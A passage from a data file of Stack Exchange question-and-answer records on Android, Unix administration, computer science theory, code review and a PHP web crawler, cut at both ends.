responsibility principles.One dependency framework for Android is Dagger:Dependency injection isn't just for testing. It also makes it easy to  create reusable, interchangeable modules. You can share the same  AuthenticationModule across all of your apps. And you can run  DevLoggingModule during development and ProdLoggingModule in  production to get the right behavior in each situation.Beside's @janos's great point about inheritance being for is-a relationships, you can imagine BaseActivity slowly getting cluttered with methods and fields that some activities need, and other don't. Eventually it all becomes a mess.With dependency injection, an activity's reliance upon a RestAdapter can be made clear:class SomeActivity extends Activity {  private final RestAdapter restAdapter;  @Inject  public SomeActivity(final RestAdapter restAdapter) {    this.restAdapter = restAdapter;  }  ...}And now you can unit test SomeActivity with other RestAdapters.Making the RestAdapter a singleton requires only an attribute:@Provides @Singleton RestAdapter provideRestAdapter() {  return new RestAdapter.Builder()      .setEndpoint(BASE_URL)      .build()      .create(RestClient.class);}"  } 
{  "id": "_cs.70874"  , "question": "Given a language $L = \\left\\{ a^{nk+1} | n > 0 \\right\\}$ and $k$ is an integer constant. How to show that a DFA for this language must have $k+2$ states or more states using minimum state lemma.By minimum state lemma I mean the number of minimum state a DFA has is the number of pairewise distinguishable states. I have constructed a set of pairewise distinguishable string ${a, aa, aaa, ... a^{k+2}}$ with respect to L and found that I can not add anymore strings to it. But I don't know how to prove this string has the maximum number of pairewise distinguishable strings. "  , "title": "How to find the minimum number of states required by a DFA"  , "tags": "formal languages;finite automata"  , "accepted_answer": "You can prove that your set is maximal in (at least) two different ways:Show that every string is equivalent to one of the strings in your set.Construct a DFA for the language having the same number of states as are strings in your set.In your case both approaches are not too difficult.Note, however, that the question only asks you to show that every DFA for the language must contain at least $k+2$ states. For this there is no need to show that your collection is maximal. If you find $k+2$ pairwise inequivalent strings, then it follows that every DFA for the language must contain at least $k+2$ states. If the collection is not maximal, all it means is that your bound isn't tight."  } 
{  "id": "_unix.116291"  , "question": "I have a CentOS 5.6 VM installation and currently have a handful of emails that I would like to get access to.When I run mail as root, I get:[root@dev mail]# mailMail version 8.1 6/6/93.  Type ? for help./var/spool/mail/root: 11 messages 11 unread>U  1 logwatch@www.crmpicco.d  Mon Feb 17 10:06  44/1625  Logwatch for dev.localdomain (Linux)Where is that file stored? I would like to send it on to someone for review.I can't see it in /var/spool/mail/."  , "title": "Where are my emails stored on CentOS 5.6"  , "tags": "centos;email;virtual machine;sendmail"  } 
{  "id": "_cstheory.32107"  , "question": "An answer to the traveling salesman (and similar) problems can be easily verified on light lambda-calculi. Also, if I understand correctly, the light lambda-calculi can compute every polinomial-time computable function. That way, if one can prove that the traveling salesman problem can't be encoded on the light lambda-calculi, that would also prove the problem can't be solved in poly-time, which would also prove P!=NP. Is that correct, or am I confusing some concepts?"  , "title": "Would a proof that the traveling salesman algorithm can't be encoded on LAL also prove P!=NP?"  , "tags": "cc.complexity theory;lo.logic;lambda calculus"  } 
{  "id": "_unix.333057"  , "question": "I am having issues with Seagate Laptop SSHD 1TB, PN: ST1000LM014-1EJ164-SSHD-8GB.dmesg | grep ata1:says this:[    1.197516] ata1: SATA max UDMA/133 abar m2048@0xf7d36000 port 0xf7d36100 irq 31[    6.548436] ata1: link is slow to respond, please be patient (ready=0)[   11.232622] ata1: COMRESET failed (errno=-16)[   16.588832] ata1: link is slow to respond, please be patient (ready=0)[   21.269019] ata1: COMRESET failed (errno=-16)[   26.621223] ata1: link is slow to respond, please be patient (ready=0)[   56.322386] ata1: COMRESET failed (errno=-16)[   56.322449] ata1: limiting SATA link speed to 3.0 Gbps[   61.374591] ata1: COMRESET failed (errno=-16)[   61.374651] ata1: reset failed, giving upFurther, I don't see the drive in GParted.Does this mean this drive is dead or semi-dead?"  , "title": "Did this drive die?"  , "tags": "disk;ssd hdd hybrid"  , "accepted_answer": "Since the issue is with the link, rather than an actual error reported by the drive itself, technically it means that either the SATA port, or the SATA cable, or the drive is having issues. In all likelihood though the drive is dead. (But try another cable if you have one!)"  } 
{  "id": "_unix.53759"  , "question": "I'm experiencing the all-too-common root partition full situation. 100% of my hard drive is allocated. My home (ext4) partition has plenty of space to give up for my full root partition (rootfs).Is there an amazing step by step tutorial out there for this type of a scenario where the root partition (rootfs) needs to be expanded after shrinking an ext4 partition (my home partition)?"  , "title": "Is there an excellent tutorial on how to resize a rootfs partition (and shrink another) on a drive that is 100% allocated?"  , "tags": "filesystems;arch linux;partition"  } 
{  "id": "_unix.253067"  , "question": "I use bash completion from https://bash-completion.alioth.debian.org/ and some vendor supplied scripts too (eg. https://github.com/git/git/blob/master/contrib/completion/git-completion.bash)I also use export GREP_OPTIONS='-I --color=always --exclude=*.xhprof' because setting --color=always in (almost) every pipe is a massive pain.However the completion scripts often use grep and don't specify --color=auto or --color=never because by default it's not needed, this leads to broken output where escaped terminal color codes get interleaved with the output making it hard to read. (see below)^[[01;31m^[[K                    c^[[m^[[Kherry                   d^[[m^[[Kescribe                 g^[[m^[[Krep                     m^[[m^[[Kailinfo                 request-pull a^[[m^[[Kdd                      c^[[m^[[Kherry-pick              d^[[m^[[Kiff                     g^[[m^[[Kui                      m^[[m^[[Kailsplit                reset a^[[m^[[Km                       c^[[m^[[Kitool                   d^[[m^[[Kiff-files               h^[[m^[[Kash-object              m^[[m^[[Kerge                    revert a^[[m^[[Knnotate                 c^[[m^[[Klean                    d^[[m^[[Kiff-index               h^[[m^[[Kelp                     m^[[m^[[Kerge-base               rm a^[[m^[[Kpply                    c^[[m^[[Klone                    d^[[m^[[Kiff-tree                h^[[m^[[Kttp-backend             m^[[m^[[Kerge-file               send-email a^[[m^[[Krchimport               c^[[m^[[Kolumn                   d^[[m^[[Kifftool                 h^[[m^[[Kttp-fetch               mergetool                        shortlog a^[[m^[[Krchive                  c^[[m^[[Kommit                   f^[[m^[[Kast-export              h^[[m^[[Kttp-push                mv                               show b^[[m^[[Kisect                   c^[[m^[[Kommit-tree              f^[[m^[[Kast-import              history                          name-rev                         show-branch b^[[m^[[Klame                    c^[[m^[[Konfig                   f^[[m^[[Ketch                    i^[[m^[[Kndex-pack               notes                            stage b^[[m^[[Kranch                   c^[[m^[[Kount-objects            f^[[m^[[Ketch-pack               i^[[m^[[Knit                     p4                               stash b^[[m^[[Kundle                   c^[[m^[[Kredential               f^[[m^[[Kilter-branch            i^[[m^[[Knit-db                  pull                             status c^[[m^[[Kat-file                 c^[[m^[[Kredential-cache         f^[[m^[[Kmt-merge-msg            i^[[m^[[Knstaweb                 push                             submodule c^[[m^[[Kheck-attr               c^[[m^[[Kredential-osxkeychain   f^[[m^[[Kor-each-ref             i^[[m^[[Knterpret-trailers       rebase                           subtree c^[[m^[[Kheck-ignore             c^[[m^[[Kredential-store         f^[[m^[[Kormat-patch             l^[[m^[[Kog                      reflog                           svn c^[[m^[[Kheck-mailmap            c^[[m^[[Kvsexportcommit          f^[[m^[[Ksck                     l^[[m^[[Ks-files                 relink                           tag c^[[m^[[Kheck-ref-format         c^[[m^[[Kvsimport                f^[[m^[[Ksck-objects             l^[[m^[[Ks-remote                remote                           verify-commit c^[[m^[[Kheckout                 c^[[m^[[Kvsserver                g^[[m^[[Kc                       l^[[m^[[Ks-tree                  repack                           whatchanged c^[[m^[[Kheckout-index           d^[[m^[[Kaemon                   g^[[m^[[Ket-tar-commit-id        lg                               replace                          worktree If completion were a command I ran manually I could just prepend the command with GREP_OPTIONS=, but since it's some combination of readline and bash which I don't fully understand I don't know what to do.So is there a way to clear the GREP_OPTIONS during tab completion? Or some other solution that doesn't involve me typing --color=always over 100 times a day?"  , "title": "Can I clear an env var during bash completion?"  , "tags": "bash;grep;autocomplete"  } 
{  "id": "_cs.70563"  , "question": "I'm creating a tic tac toe game, there will be two players: X and O. X will be a human, and O is an AI which will always choose the best move to play.   My board is an 11x11 board and the winning condition is 5 in a row. How do I know if a board is at end state (where one player has won)? For the 3x3 board, you can do it easily with just a few steps. But for the larger board (11x11) and the winning condition is smaller than the dimension, it's way more complex. The best solution I have found is to check for each n x n (n is the winning condition) square for a winner.  But that seems slow.So here is my question: if you know the last move of a player, can you use that position to check if that player wins without checking every n x n square in the board?"  , "title": "The fastest way to check if a move is a winning move in Tic Tac Toe"  , "tags": "algorithms;complexity theory;artificial intelligence;search algorithms"  , "accepted_answer": "Yes, you can do this more efficiently.  If you have a board position and the last move made to get to that position, you can check whether the board position is an end state using the following insight:The previous board position wasn't an end state.  Thus, if the board is an end state, that can only happen because there's a 5-in-a-row that includes the square where the last move occurred.So, if the last move was in square $s$, check whether there's a 5-in-a-row that includes square $s$.  There are only 4 directions to check (horizontal, vertical, and both diagonals), and you can check each direction efficiently."  } 
{  "id": "_unix.98128"  , "question": "Doing a ps on my Linux box shows that systemd runs with the command line options --switched-root and --deserialize.  Nothing in the man page or /usr/share/doc/systemd mentions them, and Google hasn't been much help.  So, what do they do?  I'm guessing that --switched-root has something to do with pivot_root, but that's just a guess."  , "title": "What are the systemd command line options --switched-root and --deserialize?"  , "tags": "linux;systemd"  , "accepted_answer": "These are intentionally undocumented internal parts of systemd.  Very simply, therefore:--deserialize is used to restore saved internal state that a previous invocation of systemd, exec()ing this one, has written out to a file.  Its option argument is an open file descriptor for that process.--switched-root is used to tell this invocation of systemd that it has been invoked from systemd managing an initramfs, and so should behave accordingly — including turning off some of the behaviour otherwise caused by --deserialize."  } 
{  "id": "_unix.317366"  , "question": "I have a CSV file from which I need to remove one column from it.The problem is I have exported the CSV file without headers.So how can I remove the column from the CSV file.For example if I have the example.csv I want to remove the last column from it which is a boolean data and have the file as input.csv.input.csv  1,data,100.00,TRUE2,code,91.8,TRUE3,analytics,100.00,TRUEoutput.csv1,data,100.002,code,91.83,analytics,100.00"  , "title": "Remove Columns from a CSV File"  , "tags": "text processing;csv"  } 
{  "id": "_unix.323225"  , "question": "I hate the overwrite mode in VI.  I never actually want to overwrite, I just want to hit insert to confirm I am in Insert mode before typing, regardless of what state I was in previously, without worrying I may be toggling overwrite mode instead.Is there a way to configure vi to never toggle to overwrite mode?  So the insert key toggles insert mode always? I'm using Spacemacs so if someone knows how to do this in Spacemacs that would be best, but failing that if I can get the VI syntax I'm sure I can figure out how to add vi configuration to my Spacemacs config file (I'm pretty new to Spacemacs right now)."  , "title": "Prevent toggling overwrite mode in Spacemacs or VI"  , "tags": "vi"  } 
{  "id": "_unix.324370"  , "question": "I was trying to install docker on my Linux machine and I encountered this failure.  I tried searching for keys online keyservers and did not find it.Any suggestions?$ sudo apt-key adv --keyserver hkp://ha.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D[sudo] password for skumaran: Executing: /tmp/tmp.0Zg1ACSsNU/gpg.1.sh --keyserverhkp://ha.pool.sks-keyservers.net:80--recv-keys58118E89F3A912897C070ADBF76221572C52609Dgpg: keyserver receive failed: Connection reset by peer"  , "title": "Trouble Importing Docker Keys from Keyserver"  , "tags": "apt"  } 
{  "id": "_unix.332168"  , "question": "I'm using Elementary OS Freya (Ubuntu 14.04).I've install DNSMASQ and running the command and getting the error below:$ sudo service dnsmasq start * Starting DNS forwarder and DHCP server dnsmasqdnsmasq: bad command line options: try --help     [fail]In the /var/log/syslog, I found:Dec 22 10:34:10 Marcelo-PC dnsmasq[3176]: bad command line options: try --helpDec 22 10:34:10 Marcelo-PC dnsmasq[3176]: FAILED to start upRunning sh -x /etc/init.d/dnsmasq I get:marcelo@Marcelo-PC:~$ sh -x /etc/init.d/dnsmasq start+ set +e+ PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin+ DAEMON=/usr/sbin/dnsmasq+ NAME=dnsmasq+ DESC=DNS forwarder and DHCP server+ ENABLED=1+ [ -r /etc/default/dnsmasq ]+ . /etc/default/dnsmasq+ ENABLED=1+ CONFIG_DIR=/etc/dnsmasq.d,.dpkg-dist,.dpkg-old,.dpkg-new+ [ -r /etc/default/locale ]+ . /etc/default/locale+ LANG=en_US.UTF-8+ export LANG+ test -x /usr/sbin/dnsmasq+ [ -f /lib/lsb/init-functions ]+ . /lib/lsb/init-functions+ run-parts --lsbsysinit --list /lib/lsb/init-functions.d+ [ -r /lib/lsb/init-functions.d/01-upstart-lsb ]+ . /lib/lsb/init-functions.d/01-upstart-lsb+ unset UPSTART_SESSION+ _RC_SCRIPT=/etc/init.d/dnsmasq+ [ -r /etc/init//etc/init.d/dnsmasq.conf ]+ _UPSTART_JOB=dnsmasq+ [ -r /etc/init/dnsmasq.conf ]+ [ -r /lib/lsb/init-functions.d/20-left-info-blocks ]+ . /lib/lsb/init-functions.d/20-left-info-blocks+ [ -r /lib/lsb/init-functions.d/50-ubuntu-logging ]+ . /lib/lsb/init-functions.d/50-ubuntu-logging+ LOG_DAEMON_MSG=+ FANCYTTY=+ [ -e /etc/lsb-base-logging.sh ]+ true+ [ !  ]+ [  != yes ]+ [ -x /sbin/resolvconf ]+ RESOLV_CONF=/var/run/dnsmasq/resolv.conf+ [ !  ]+ DNSMASQ_USER=dnsmasq+ test 1 != 0+ log_daemon_msg Starting DNS forwarder and DHCP server dnsmasq+ [ -z Starting DNS forwarder and DHCP server ]+ log_use_fancy_output+ TPUT=/usr/bin/tput+ EXPR=/usr/bin/expr+ [ -t 1 ]+ [ xxterm != x ]+ [ xxterm != xdumb ]+ [ -x /usr/bin/tput ]+ [ -x /usr/bin/expr ]+ /usr/bin/tput hpa 60+ /usr/bin/tput setaf 1+ [ -z ]+ FANCYTTY=1+ true+ /usr/bin/tput xenl+ /usr/bin/tput cols+ COLS=169+ [ 169 ]+ [ 169 -gt 6 ]+ /usr/bin/expr 169 - 7+ COL=162+ log_use_plymouth+ [ n = y ]+ plymouth --ping+ printf  * Starting DNS forwarder and DHCP server dnsmasq       * Starting DNS forwarder and DHCP server dnsmasq       + /usr/bin/expr 169 - 1+ /usr/bin/tput hpa 168                                                                                                                                                                        + printf   + start+ [ ! -d /var/run/dnsmasq ]+ start-stop-daemon --start --quiet --pidfile /var/run/dnsmasq/dnsmasq.pid --exec /usr/sbin/dnsmasq --test+ start-stop-daemon --start --quiet --pidfile /var/run/dnsmasq/dnsmasq.pid --exec /usr/sbin/dnsmasq -- -x /var/run/dnsmasq/dnsmasq.pid -u dnsmasq -r /var/run/dnsmasq/resolv.conf -7 /etc/dnsmasq.d,.dpkg-dist,.dpkg-old,.dpkg-newdnsmasq: opes invlidas de linha de comando: tente --help+ return 2+ log_end_msg 1+ [ -z 1 ]+ [ 162 ]+ [ -x /usr/bin/tput ]+ log_use_plymouth+ [ n = y ]+ plymouth --ping+ printf \\r+ /usr/bin/tput hpa 162                                                                                                                                                                  + [ 1 -eq 0 ]+ printf [[+ /usr/bin/tput setaf 1+ printf failfail+ /usr/bin/tput op+ echo ]]+ return 1+ exit 1And I can't put the DNSMASQ to work. The only uncommented line in my dnsmasq.conf is (you can see the entire file here):address=/nintendowifi.net/192.168.0.8How can I see what the problem is?"  , "title": "How to get DNSMASQ to work?"  , "tags": "dnsmasq"  } 
{  "id": "_unix.345380"  , "question": "Suppose i have a string = remove this sentenceI want to remove this string from all files in the current directory and all files in sub directories of current directory.How to achieve it? I have tried this:sudo grep -rl stringtoreplace ./ | xargs sed -i 'stringtoreplace//g'It gives me Permission ERROR! even though I am using sudostring to replace is this:,\\x3E\\x74\\x70\\x69\\x72"  , "title": "Remove a string from all files which have the string"  , "tags": "linux;grep"  } 
{  "id": "_softwareengineering.38924"  , "question": "I am reading the book Object-Oriented Analysis and Design written by Grady Booch and others. In the Section : I Concepts in a subsection Bringing Order to Chaos authors suggest to separate between a Method and a Methodology:According to the book:A method is a disciplined procedure for generating a set of models that describe various aspects of a software system under development, using some well-defined notation.A methodology is a collection of methods applied across the software development lifecycle and unified by process, practices, and some general, philosophical approach.I understood that a Method is used to built system models and a Methodology is a set of such methods that are applied across software development lifecycle. To my knowledge, a software development lifecycle includes but is not limited to analysis, design, implementation and testing phases. How it can be that a Method that is used to built system models is also applied in implementation or testing phase? "  , "title": "Confusion in definitions of a method and a methodology in the book OOAD with Applicatons (Booch et al)"  , "tags": "object oriented;development methodologies;methodology"  , "accepted_answer": "Maybe I'm misreading the definitions (I haven't read the book), but wouldn't you have different methods for system building and testing? So your methodology would include some methods that apply to analysis, some that apply to building, some that apply to testing, etc. All of those methods would be grouped by a common approach or goal -- e.g. Agile methodology, Waterfall methodology, etc."  } 
{  "id": "_softwareengineering.336496"  , "question": "I'm developing an application that produces files that are ultimately just a list of groups of transactions: an event store. I was wondering if there was a name for the way I'm handling undo/redo. Or if there's another common way to implement such functionality.For example, a file with three nodes might look something like this:transactionGroups: [  {    isUserOwned: true,    transactions: [      {        op: nodeAdded,        frame: 0,        rotation: 132,        length: 435,        scale: 100      }    ]  },  {    isUserOwned: true,    transactions: [      {        op: nodeAdded,        frame: 0,        rotation: 144,        length: 363,        scale: 100      }    ]  },  {    isUserOwned: true,    transactions: [      {        op: nodeAdded,        frame: 0,        rotation: 163,        length: 311,        scale: 100      }    ]  }In the spirit of there is no delete, I have devised a way to implement undo/redo by adding an undo transaction that references a transaction relative to its position in the store. Basically, it tells the file builder to ignore a referenced transaction when constructing the current state of the file.To redo an operation, an undo transaction is just undone again.transactionGroups: [  {    isUserOwned: true,    transactions: [      {        op: nodeAdded,        frame: 0,        rotation: 132,        length: 435,        scale: 100      }    ]  },  {    isUserOwned: true,    transactions: [      {        op: nodeAdded,        frame: 0,        rotation: 144,        length: 363,        scale: 100      }    ]  },  {    isUserOwned: true,    transactions: [      {        op: nodeAdded,        frame: 0,        rotation: 163,        length: 311,        scale: 100      }    ]  },  // Undoes the last two transactions  {    isUserOwned: true,    transactions: [      {        op: undo,        transaction: 1      }    ]  },  {    isUserOwned: true,    transactions: [      {        op: undo,        transaction: 3      }    ]  },  // Redoes the last two undo transactions  {    isUserOwned: true,    transactions: [      {        op: undo,        transaction: 1      }    ]  },  {    isUserOwned: true,    transactions: [      {        op: undo,        transaction: 3      }    ]  }]"  , "title": "Event Sourcing: Undo Redo"  , "tags": "event sourcing"  } 
{  "id": "_unix.194561"  , "question": "Suppose I have a executable which for which I want to log STDOUT and STDERR to separate files, like so:python write.py > out 2> errWhen I use this command with GNU timeout, my out file is always empty.  Why does this happen, and how can I fix this?timeout 5s python write.py > out 2> errExample write.py:#!/bin/bashimport sys, timei = 0while True:        print i    print >> sys.stderr, i    time.sleep(1)    i += 1"  , "title": "Using GNU timeout when redirecting stdout to file"  , "tags": "stdout;timeout"  , "accepted_answer": "$ timeout 5s python write.py > out 2> err$ ls -l out err-rw-r--r-- 1 yeti yeti 10 Apr  6 08:12 err-rw-r--r-- 1 yeti yeti  0 Apr  6 08:12 out$ timeout 5s python -u write.py > out 2> err$ ls -l out err-rw-r--r-- 1 yeti yeti 10 Apr  6 08:13 err-rw-r--r-- 1 yeti yeti 10 Apr  6 08:13 out$ cmp err out && echo samesame$ cat out 01234python uses buffered writes on stdout but not on stderr. So everything written to sys.stderr is written immediately but stuff for sys.stdout is kept in a buffer until the buffer is full to minimise write operations. Within 5 seconds, the buffer does not fill enough to get written even once and timeout terminates the python interpreter.Adding the -u option to python's invocation, writes to stdout will be unbuffered too.You can force the same behaviour for a Python program by setting the environment variable PYTHONUNBUFFERED. For other programs you can use unbuffer from the expect package or stdbuf from GNU coreutils (see Turn off buffering in pipe)."  } 
{  "id": "_webmaster.69549"  , "question": "I have updated my design and uploaded it to my server, but it's showing old content for sometime, new content for sometime. I randomly checked lots of computer, same problem is happening everywhere."  , "title": "loading old web pages and not the updated ones"  , "tags": "web hosting;web development;cache;uploading"  } 
{  "id": "_codereview.110412"  , "question": "Post a cursory read of this I implemented a simple dictionary and an interface to  assign, replace, look up, and redefine its terms to apply the concepts.It's simple, but I'd still like to know any way I could make this cleaner and more pythonic.def print_dict(dictionary):  for key in dictionary:    print({} : {}.format(key, dictionary[key]))def display_menu():  print(\\n0 = Quit    + \\n1 = Look up a term    + \\n2 = Add a term    + \\n3 = Redefine a term    + \\n4 = Delete a term    + \\n5 = Display Dictionary  )def is_integer(value):  try:   temp = int(value)   return True  except ValueError:   return Falsedef validate(choice):  if is_integer(choice) and 0 <= int(choice) <= 5:    return int(choice)  else:    print(Input must be an integer between 0 and 5, inclusive)    return validate(input(\\nEnter Selection: ))def lookup_term(dictionary):  term = input(which term would you like to look up? )  if term in dictionary:    print({} : {}.format(term, dictionary.get(term)))  else:    print(Term does not exist, input 2 to add new term)def redefine_term(dictionary):  term = input(which term would you like to redefine? )  if term in dictionary:    dictionary[term] = input(and its definition? )  else:    print(Term does not exist, input 2 to add new term)def add_term(dictionary):  term = input(What term would you like to add? )  if term in dictionary:    print(Already exists. To redfine input 3)  else:    dictionary[term] = input(and its definition? )def delete_term(dictionary):  del dictionary[input('Which term would you like to delete? ')]def process_request(choice, dictionary):  if choice == 0:    print(Thank you for using Stack Exchange Site Abbreviation!)    quit()  elif choice == 1:    lookup_term(dictionary)  elif choice == 2:    add_term(dictionary)  elif choice == 3:    redefine_term(dictionary)  elif choice == 4:    delete_term(dictionary)  else:    print_dict(dictionary)def main():  site_dictionary = {    'SO'  : 'Stack Overflow',    'CR'  : 'Code Review',    'LH'  : 'Lifehacks',    '??'  : 'Puzzling',    'SR'  : 'Software Recommendations',    'SU'  : 'Super User',    'M'   : 'Music: Practice & Theory',    'RE'  : 'Reverse Engineering',    'RPi' : 'Raspberry Pi',    'Ro'  : 'Robotics'  }  print_dict(site_dictionary)  print(\\nWelcome to Stack Exchange Site Abbreviation Translator!)  display_menu()  while(True):    process_request(validate((input(\\nEnter Selection: ))), site_dictionary)if __name__ == __main__:  main()"  , "title": "Practice with dictionaries"  , "tags": "python;beginner;python 3.x;dictionary"  , "accepted_answer": "Don't return validate from within validate, that's unnecessary recursion and you might end up accidentally hitting the maximum recursion level (as much as that shouldn't happen, what if the user just holds down enter?). Instead wrap the function in a while True loop. Since you have a return statement, you already have a mechanism to break the loop.def validate(choice):    while True:        if is_integer(choice) and 0 <= int(choice) <= 5:            return int(choice)        else:            print(Input must be an integer between 0 and 5, inclusive)            choice= input(\\nEnter Selection: )(Though I agree about adding the is_integer test into here)Python implicitly concatenates neighbouring string literals, so in your menu print you actually don't need to use plus signs:  print(\\n0 = Quit        \\n1 = Look up a term        \\n2 = Add a term        \\n3 = Redefine a term        \\n4 = Delete a term        \\n5 = Display Dictionary  )In redefine_term you don't do any validation on the new text being entered. Sure, the user can enter what they want but what if it's empty space? Do you want that. Maybe you do, but if not you could easily validate with an or:dictionary[term] = input(and its definition? ) or dictionary[term]If the input is an empty string it evaluates as False, meaning that Python then uses the other value in the A or B expression, defaulting back to the old value. If you wanted to prevent whitespace in general (eg tabs or spaces) then just add .strip() to the input call, to remove whitespace from the start and end of the result.You have a bug in delete_term. If the user enters a non existent key it will raise a KeyError. You should probably handle it with a try excepttry:    del dictionary[input('Which term would you like to delete? ')]except KeyError:    print(That key does not exist.)"  } 
{  "id": "_softwareengineering.355888"  , "question": "I have two variants of this GridBuilder class I'm designing, and I'm not quite sure which one is preferable:Using class propertiesclass GridBuilder{    private $grid;    public function __construct() {        $this->grid = new Grid();    }    public function build()    {        $items = ['item1', 'item2', 'item3'];        $this->addItemsToGrid($items);        return $this->grid;    }    public function addItemsToGrid($items)    {        // add items ...    }}Passing variables to functionsclass GridBuilder{    public function build()    {        $items = ['item1', 'item2', 'item3'];        $grid = new Grid();        $this->addItemsToGrid($items, $grid);        return $grid;    }    public function addItemsToGrid($items, $grid)    {        // add items ...        return $grid;    }}The first one uses class properties. The second one passes the grid to other functions.The second one feels a little cleaner and better to me, but I can't explain why. Any ideas?"  , "title": "Using class properties vs passing variables to functions"  , "tags": "object oriented;php;language agnostic;class design;variables"  } 
{  "id": "_cs.41327"  , "question": "Could someone, in plain english, explain the distinction between the fundamental matrix and the essential matrix in multi-view computer vision?How are they different, and how can each be used in computing the 3D position of a point imaged from multiple views?"  , "title": "The Fundamental and Essential Matrix"  , "tags": "algorithms;image processing;computer vision"  , "accepted_answer": "Both matrices relate corresponding points in two images. The difference is that in the case of the Fundamental matrix, the points are in pixel coordinates, while in the case of the Essential matrix, the points are in normalized image coordinates. Normalized image coordinates have the origin at the optical center of the image, and the x and y coordinates are normalized by Fx and Fy respectively, so that they are dimensionless.The two matrices are related as follows:E = K' * F * K, where K is the intrinsic matrix of the camera.F has 7 degrees of freedom, while E has 5 degrees of freedom, because it takes the camera parameters into account. That's why there is an 8-point algorithm for computing the fundamental matrix and a 5-point algorithm for computing the essential matrix.One way to get a 3D position from a pair of matching points from two images is to take the fundamental matrix, compute the essential matrix, and then to get the rotation and translation between the cameras from the essential matrix. This, of course, assumes that you know the intrinsics of your camera. Also, this would give you up-to-scale reconstruction, with the translation being a unit vector."  } 
{  "id": "_unix.358630"  , "question": "How to drop inbound, un-encrypted, TCP & UDP connections using packet inspection and not a specific port or protocol (such as 22/SSH or 443/HTTPS) using iptables or nftables?"  , "title": "nftables or iptables only allow encrypted traffic"  , "tags": "networking;security;encryption"  } 
{  "id": "_codereview.132957"  , "question": "I'm working on a nice crawler that start with one URL, and find the other URLs to process each page, a kind of Google crawler, to index pages.I worked hard on this crawler to respect many points I've found over many websites, including:Respect of robots.txtNot querying too much each website (I add a delay for each subsequent requests on the same domain)The main code is a worker.php that is spawned using Supervisor. Supervisor launch n instances of that file depending on the server so it's possible that multiple instances of worker.php are running in parallel.There is one issue I can't pinpoint: it seems that the more time it runs, the more time it takes to process the URL (it's getting slower and slower), and I can't target why and where (if you have any ideas, I'm interested!).I've also created a public gist based on the code presented here.<?phpif (php_sapi_name() !== 'cli') exit(1);require_once(__DIR__.'/../init.php');define('WORKER_LIMIT_INSTANCES', 200);define('CRAWLER_MAX_DEPTH', 10000);define('CRAWLER_MAX_HIGH_URLS', 100);use \\Pheanstalk\\Pheanstalk;use \\Crawler\\Models\\LinkModel;$pheanstalk = new Pheanstalk('127.0.0.1');$reloadedInitialTime = filemtime(__DIR__.'/../reloaded');fwrite(STDOUT, Started new instance of script (.$reloadedInitialTime.).\\n);$loopCounter = 0;while (true) {    clearstatcache();    // Script to stop the service    if (intval(file_get_contents(__DIR__.'/../breakworker')) === 1 ) exit(1);    // We check if we need to stop this worker (code update?)    $autoReloadSystem = filemtime(__DIR__.'/../reloaded');    if ($reloadedInitialTime !== $autoReloadSystem) {        fwrite(STDOUT, New update - Reloading script.\\n);        exit(0);    }    usleep(500000); // Give it some slack ; 1/2 second    $loopCounter++;    if ($loopCounter > WORKER_LIMIT_INSTANCES) break; // We count on Supervisord to reload workers    // grab the next job off the queue and reserve it    $job = $pheanstalk->watch(QUEUE_NAME)        ->ignore('default')        ->reserve();    // remove the job from the queue    $pheanstalk->delete($job);    $data = json_decode($job->getData(), true);    if (is_null($data)) {        fwrite(STDERR, [FATAL] Invalid Job data : .$job->getData().\\n);    }    if (!isset($data['retries']))  $data['retries'] = 0;    if (!isset($data['priority'])) $data['priority'] = \\Crawler\\Engine\\Spider::MEDIUM_PRIORITY;    if ($data['priority'] == \\Crawler\\Engine\\Spider::LOW_PRIORITY) {        // Normally, only new links are in low priority        $data['priority'] = \\Crawler\\Engine\\Spider::MEDIUM_PRIORITY;    }    /*     * The Spider goes to the website using a basic CURL request     * It also pre-fetch the robots.txt the first request to ensure we respect it     * With the following CURL rules :     *  CURLOPT_FOLLOWLOCATION => true,        CURLOPT_FORBID_REUSE   => true,        CURLOPT_FRESH_CONNECT  => true,        CURLOPT_HEADER         => false,        CURLOPT_RETURNTRANSFER => true,        CURLOPT_SSL_VERIFYPEER => false,        CURLOPT_MAXREDIRS      => 5,        CURLOPT_TIMEOUT        => 5,        CURLOPT_ENCODING       => ''     */    $spider = new \\Crawler\\Engine\\Spider($data['url']);    $duration = $spider->exec();    // First, we ensure that we are not black-listed    // So we analyze the status code    // For 401, 403 and 404, we retry once    // For 408, 429 and 503, we retry 3 times, with increasing wait between requests    if (in_array($spider->getStatusCode(), array(401, 403, 404, 408, 429, 503))) {        $data['retries']++;        if ((in_array($spider->getStatusCode(), array(401, 403, 404)) && $data['retries'] <= 1) // Only one retry            ||            (in_array($spider->getStatusCode(), array(408, 429, 503)) && $data['retries'] <= 3) // 3 retries        ) {            $pheanstalk->putInTube(QUEUE_NAME, json_encode($data), $data['priority'], $data['retries'] * 30);            continue;        }        // We are here (and not in the if section) when the status code is in the array        // but the retries are reached, that mean we stop for this url        // So the next step will be to add it in the Link database and stop the data.    }    // We update the url in the database to indicate it has been crawled    LinkModel::update($data['url'], true);    if (strtolower($data['url']) !== strtolower($spider->getUrl())) {        // We were redirected, so we add a new URL also marked as being crawled, with $data['url'] being the origin        $jobId = LinkModel::add($spider->getUrl(), true, $data['url']);        // We remove the job of the redirect url because we had it already in queue        if (!is_null($jobId)) {            // We catch exception in case the url has already been processed            try {                $job = $pheanstalk->peek($jobId);                $pheanstalk->delete($job);            } catch (\\Exception $e) {}        }    }    $domainName = $spider->getUrlParts(PHP_URL_HOST);    $domainName = strtolower($domainName['host']);    // Here's the code I do to index the webpages    // I removed it because it's not interesting in our case    // But in general, if you are looking for a similar work, you can implement your need here :)    // This code extract all the links in the page to add them in the queue    $links = \\Crawler\\Extractors\\LinkExtractor::extract($spider);    // And we add them now :    $priority = $data['priority'];    foreach ($links as $link) {        $parsedDomain = strtolower(parse_url($link, PHP_URL_HOST));        $jobsData = array(            'url' => $link,            'retries' => 0,            'referer' => $spider->getUrl()        );        $jobsData['delay'] = ceil($duration * (rand(1, 10)/10000)); // Delay between 0.1 and 1 seconds x $duration of the request        if ($jobsData['delay'] > 5) $jobsData['delay'] = 5;        // We increase the time to wait per number of links for this specific domain        $jobsData['delay'] = $jobsData['delay'] + LinkModel::countQueued($parsedDomain);        if (\\Crawler\\Engine\\Spider::HIGH_PRIORITY) {            // Allow 5 simultaneous request on high priority            $jobsData['delay'] = floor($jobsData['delay'] / 10);        }        $iCountCrawledUrls = 